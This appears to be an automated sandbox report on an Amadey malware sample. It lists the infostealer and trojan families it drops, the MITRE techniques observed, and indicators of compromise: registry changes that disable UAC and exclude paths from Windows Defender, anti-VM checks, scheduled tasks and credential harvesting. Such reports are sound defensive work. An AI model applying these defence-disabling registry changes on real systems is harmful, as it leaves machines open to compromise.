amadey | 4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4

Windows Service

T1543.003

Processes:

Mp7XOI2tCVcqTdJZlwnPVCma.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	Mp7XOI2tCVcqTdJZlwnPVCma.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe	family_redline
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe	family_redline
behavioral2/memory/4592-103-0x0000000000EB0000-0x0000000000F02000-memory.dmp	family_redline
behavioral2/memory/4756-127-0x0000000000140000-0x0000000000200000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe	family_redline
behavioral2/memory/1960-216-0x0000000000A70000-0x0000000000AC2000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

file300un.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe

Windows security bypass 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

file300un.exeMp7XOI2tCVcqTdJZlwnPVCma.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0"	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	Mp7XOI2tCVcqTdJZlwnPVCma.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exechrosha.exeMp7XOI2tCVcqTdJZlwnPVCma.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrosha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Mp7XOI2tCVcqTdJZlwnPVCma.exe

Blocklisted process makes network request 2 IoCs

Processes:

rundll32.exerundll32.exe

flow pid process

36 2744 rundll32.exe
58 2004 rundll32.exe
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

5628 netsh.exe
5664 netsh.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
36	2744	rundll32.exe
58	2004	rundll32.exe

pid	process
5628	netsh.exe
5664	netsh.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exechrosha.exeMp7XOI2tCVcqTdJZlwnPVCma.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mp7XOI2tCVcqTdJZlwnPVCma.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mp7XOI2tCVcqTdJZlwnPVCma.exe

Executes dropped EXE 45 IoCs

Processes:

chrosha.exeswiiiii.exealexxxxxxxx.exetrf.exekeks.exegold.exeNewB.exeISetup8.exejok.exetoolspub1.exeswiiii.exeu3f8.0.exefile300un.exeSAXiizo0VtW42CnAvoRt4PCh.exeaqLyI0fetXJfaAm0ZYvRPeHK.exeen7bdC6C7uE93NEFbnMC0kuj.exeinstall.exeGameService.exeGameService.exeu3ms.0.exeGameService.exeGameService.exeGameServerClient.exe864979.exeMp7XOI2tCVcqTdJZlwnPVCma.exeQg_Appv5.exeGameService.exeUniversalInstaller.exeUniversalInstaller.exeu3f8.1.exeGameService.exeaqLyI0fetXJfaAm0ZYvRPeHK.exeH3u4pCO4dJRSdgWGEa5PSquC.exeH3u4pCO4dJRSdgWGEa5PSquC.exeH3u4pCO4dJRSdgWGEa5PSquC.exeen7bdC6C7uE93NEFbnMC0kuj.exeH3u4pCO4dJRSdgWGEa5PSquC.exeH3u4pCO4dJRSdgWGEa5PSquC.exeGameService.exeGameService.exeGameServerClientC.exe104817.exeQg_Appv5.exeUniversalInstaller.exeUniversalInstaller.exe

pid	process
4556	chrosha.exe
2716	swiiiii.exe
1012	alexxxxxxxx.exe
4756	trf.exe
4592	keks.exe
4740	gold.exe
2516	NewB.exe
4436	ISetup8.exe
1960	jok.exe
4992	toolspub1.exe
3844	swiiii.exe
1884	u3f8.0.exe
4956	file300un.exe
4708	SAXiizo0VtW42CnAvoRt4PCh.exe
960	aqLyI0fetXJfaAm0ZYvRPeHK.exe
3160	en7bdC6C7uE93NEFbnMC0kuj.exe
2672	install.exe
2540	GameService.exe
1856	GameService.exe
2576	u3ms.0.exe
4872	GameService.exe
3828	GameService.exe
4804	GameServerClient.exe
4908	864979.exe
3308	Mp7XOI2tCVcqTdJZlwnPVCma.exe
4340	Qg_Appv5.exe
4420	GameService.exe
5140	UniversalInstaller.exe
5212	UniversalInstaller.exe
5316	u3f8.1.exe
5468	GameService.exe
5592	aqLyI0fetXJfaAm0ZYvRPeHK.exe
5608	H3u4pCO4dJRSdgWGEa5PSquC.exe
5684	H3u4pCO4dJRSdgWGEa5PSquC.exe
5796	H3u4pCO4dJRSdgWGEa5PSquC.exe
5876	en7bdC6C7uE93NEFbnMC0kuj.exe
5984	H3u4pCO4dJRSdgWGEa5PSquC.exe
6056	H3u4pCO4dJRSdgWGEa5PSquC.exe
952	GameService.exe
3272	GameService.exe
5280	GameServerClientC.exe
4448	104817.exe
5808	Qg_Appv5.exe
1988	UniversalInstaller.exe
6092	UniversalInstaller.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exechrosha.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine	4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe
Key opened	\REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine	chrosha.exe

Loads dropped DLL 15 IoCs

Processes:

rundll32.exerundll32.exe864979.exerundll32.exeRegAsm.exeUniversalInstaller.exeUniversalInstaller.exeH3u4pCO4dJRSdgWGEa5PSquC.exeH3u4pCO4dJRSdgWGEa5PSquC.exeH3u4pCO4dJRSdgWGEa5PSquC.exeH3u4pCO4dJRSdgWGEa5PSquC.exeH3u4pCO4dJRSdgWGEa5PSquC.exeUniversalInstaller.exeUniversalInstaller.exe

pid	process
864	rundll32.exe
2744	rundll32.exe
4908	864979.exe
2004	rundll32.exe
912	RegAsm.exe
912	RegAsm.exe
5140	UniversalInstaller.exe
5212	UniversalInstaller.exe
5608	H3u4pCO4dJRSdgWGEa5PSquC.exe
5684	H3u4pCO4dJRSdgWGEa5PSquC.exe
5796	H3u4pCO4dJRSdgWGEa5PSquC.exe
5984	H3u4pCO4dJRSdgWGEa5PSquC.exe
6056	H3u4pCO4dJRSdgWGEa5PSquC.exe
1988	UniversalInstaller.exe
6092	UniversalInstaller.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

Mp7XOI2tCVcqTdJZlwnPVCma.exefile300un.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	Mp7XOI2tCVcqTdJZlwnPVCma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0"	file300un.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

file300un.exeMp7XOI2tCVcqTdJZlwnPVCma.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Mp7XOI2tCVcqTdJZlwnPVCma.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

H3u4pCO4dJRSdgWGEa5PSquC.exeH3u4pCO4dJRSdgWGEa5PSquC.exe

description	ioc	process
File opened (read-only)	\??\D:	H3u4pCO4dJRSdgWGEa5PSquC.exe
File opened (read-only)	\??\F:	H3u4pCO4dJRSdgWGEa5PSquC.exe
File opened (read-only)	\??\D:	H3u4pCO4dJRSdgWGEa5PSquC.exe
File opened (read-only)	\??\F:	H3u4pCO4dJRSdgWGEa5PSquC.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

12 pastebin.com
38 pastebin.com
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

60 api.myip.com
61 ipinfo.io
53 ipinfo.io
54 api.myip.com

flow	ioc
12	pastebin.com
38	pastebin.com

flow	ioc
60	api.myip.com
61	ipinfo.io
53	ipinfo.io
54	api.myip.com

Drops file in System32 directory 7 IoCs

Processes:

powershell.exeMp7XOI2tCVcqTdJZlwnPVCma.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy	Mp7XOI2tCVcqTdJZlwnPVCma.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	Mp7XOI2tCVcqTdJZlwnPVCma.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	Mp7XOI2tCVcqTdJZlwnPVCma.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	Mp7XOI2tCVcqTdJZlwnPVCma.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exechrosha.exeMp7XOI2tCVcqTdJZlwnPVCma.exe

pid process

1476 4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe
4556 chrosha.exe
3308 Mp7XOI2tCVcqTdJZlwnPVCma.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

swiiiii.exealexxxxxxxx.exegold.exeswiiii.exefile300un.exeUniversalInstaller.exe

description	pid	process	target process
PID 2716 set thread context of 2424	2716	swiiiii.exe	RegAsm.exe
PID 1012 set thread context of 1220	1012	alexxxxxxxx.exe	RegAsm.exe
PID 4740 set thread context of 3312	4740	gold.exe	RegAsm.exe
PID 3844 set thread context of 912	3844	swiiii.exe	RegAsm.exe
PID 4956 set thread context of 3444	4956	file300un.exe	installutil.exe
PID 5212 set thread context of 5264	5212	UniversalInstaller.exe	cmd.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

Processes:

en7bdC6C7uE93NEFbnMC0kuj.exeaqLyI0fetXJfaAm0ZYvRPeHK.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	en7bdC6C7uE93NEFbnMC0kuj.exe
File opened (read-only)	\??\VBoxMiniRdrDN	aqLyI0fetXJfaAm0ZYvRPeHK.exe

Drops file in Program Files directory 10 IoCs

Processes:

install.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\GameServerClient\GameServerClientC.exe	install.exe
File created	C:\Program Files (x86)\GameServerClient\installc.bat	install.exe
File opened for modification	C:\Program Files (x86)\GameServerClient\installc.bat	install.exe
File created	C:\Program Files (x86)\GameServerClient\installg.bat	install.exe
File created	C:\Program Files (x86)\GameServerClient\GameService.exe	install.exe
File opened for modification	C:\Program Files (x86)\GameServerClient\GameService.exe	install.exe
File created	C:\Program Files (x86)\GameServerClient\GameServerClient.exe	install.exe
File created	C:\Program Files (x86)\GameServerClient\GameServerClientC.exe	install.exe
File opened for modification	C:\Program Files (x86)\GameServerClient\installg.bat	install.exe
File opened for modification	C:\Program Files (x86)\GameServerClient\GameServerClient.exe	install.exe

Drops file in Windows directory 1 IoCs

Processes:

4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe

description ioc process

File created C:\Windows\Tasks\chrosha.job 4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe
Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exe

pid process

3140 sc.exe
2860 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\Tasks\chrosha.job	4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe

pid	process
3140	sc.exe
2860	sc.exe

Program crash 9 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3100	2716	WerFault.exe	swiiiii.exe
1552	1012	WerFault.exe	alexxxxxxxx.exe
3492	4740	WerFault.exe	gold.exe
4528	4992	WerFault.exe	toolspub1.exe
1404	2576	WerFault.exe	u3ms.0.exe
1396	1884	WerFault.exe	u3f8.0.exe
5400	4436	WerFault.exe	ISetup8.exe
5852	4708	WerFault.exe	SAXiizo0VtW42CnAvoRt4PCh.exe
3936	5592	WerFault.exe	aqLyI0fetXJfaAm0ZYvRPeHK.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

toolspub1.exeu3f8.1.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3f8.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3f8.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3f8.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

1128 schtasks.exe
4700 schtasks.exe
3996 schtasks.exe
5428 schtasks.exe
5156 schtasks.exe

pid	process
1128	schtasks.exe
4700	schtasks.exe
3996	schtasks.exe
5428	schtasks.exe
5156	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

en7bdC6C7uE93NEFbnMC0kuj.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
